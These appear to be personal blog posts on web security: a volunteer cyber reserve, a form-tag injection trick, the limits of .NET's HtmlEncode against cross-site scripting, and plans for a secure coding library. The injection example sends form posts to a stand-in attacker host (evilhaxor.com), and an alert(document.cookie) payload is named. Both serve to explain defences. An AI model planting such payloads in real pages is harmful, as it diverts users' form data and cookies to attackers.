It is true that many techie types are suspicious of government, but I believe you could find a core group of people who would be willing to volunteer. They could form a new reserve service under USCYBERCOM using same model they have for the reserves now: train one weekend a month and be ready if needed. One caveat, no required PT! That would likely be a deal breaker for many. Hacking is a couch sport, so being able to run 3 miles or do 100 pushups doesn’t help. Multitasking skills, such as attacking targets while eating Cheetos and watching Family Guy, would be a better fit.

On another note, I think this line of progress will lead to a large swell in the size of the security community. When software development was young, you couldn’t just pluck some guy off the street and have him writing code in a couple of weeks. Now, IDEs and frameworks have matured so much that you can teach monkeys how to write code. Over time, the tools used for attacking/protecting targets will get better. You will still need good people planning things, but you will see more worker bees with less experience/education in security actually doing the work.

The gist is that if you can insert a self contained form tag, the browser will ignore the other form tags. Let’s say that you have the following code:

<form action="good.php" method="post">
<input type="text" name="test" id="test"></input>
<input type="Submit" value="Submit">
</form>

If you can insert a self enclosed form tag:

<form action="http://evilhaxor.com/pwned" method="post" />
<form action="good.php" method="post">
<input type="text" name="test" id="test"></input>
<input type="Submit" value="Submit">
</form>

Notice the forward slash at the end of the tag? The second form tag will be ignored and the post data will be sent to the inserted action.

The main way to fight cross site scripting is encoding. If convert unsafe characters into their html counterparts,  then malicious code will not be executed. In .NET, the HttpUtility.HtmlEncode method converts some unsafe characters for you. This is a good way to cleanse content before it is interpreted by the browser, but it won’t stop all XSS vulnerabilities.

HtmlEncode uses “blacklisting” to block unsafe characters. Blacklisting will stop some attempts, but leaves room for other attacks to happen if the coder is not careful. HtmlEncode converts the following characters:

• <
• >
• &
• “
• Characters with values 160-255

This will block most, but what if you fall into a false sense of security and forget what HtmlEncode does? If you were to execute something like this:

<input value=’<%= HtmlEncode(thisAction’)’ %> id=’btnExecute’>

If thisAction equaled alert(document.cookie), then the attack would work. This approach doesn’t seem rational, but I’ve seen worse.

A better approach is to use whitelisting. If you escape everything except what needs to be there, then you decrease your threat surface substantially.

We will always face the fight of having informed developers, but we can try to make security easier. One way to do this is making the frameworks we use to develop our applications more secure. The major frameworks are getting better at security, but they are still focused on functionality. They are the ones that have the power to make the web more secure, but there’s no pressure for them to do the work.

I’ve looked around the net and haven’t been able to find secure coding libraries that make security easier to implement. There are some that tackle individual attacks, but none that attempt a comprehensive solution. There will never be a full solution, but we can try to put together some of the pieces.

With that being said, I am considering writing a secure coding library for .NET. My initial thoughts are too rewrite the standard .NET controls to force some general validation and encoding. Fighting XSS will be fruitful, but SQL injection may be tougher. The ideal solution is to use parameterized or store procedures, but a large number of people do not follow this best practice. I will use the OWASP Top 10 2007 as a list of what vulnerabilities to conquer. I’m still struggling with open versus closed source. There are some corporate/government organizations that won’t use open source products, so I may make this closed source but free to download. I’ll continue to think about this. If someone happens to find this post and wants to comment, please do so.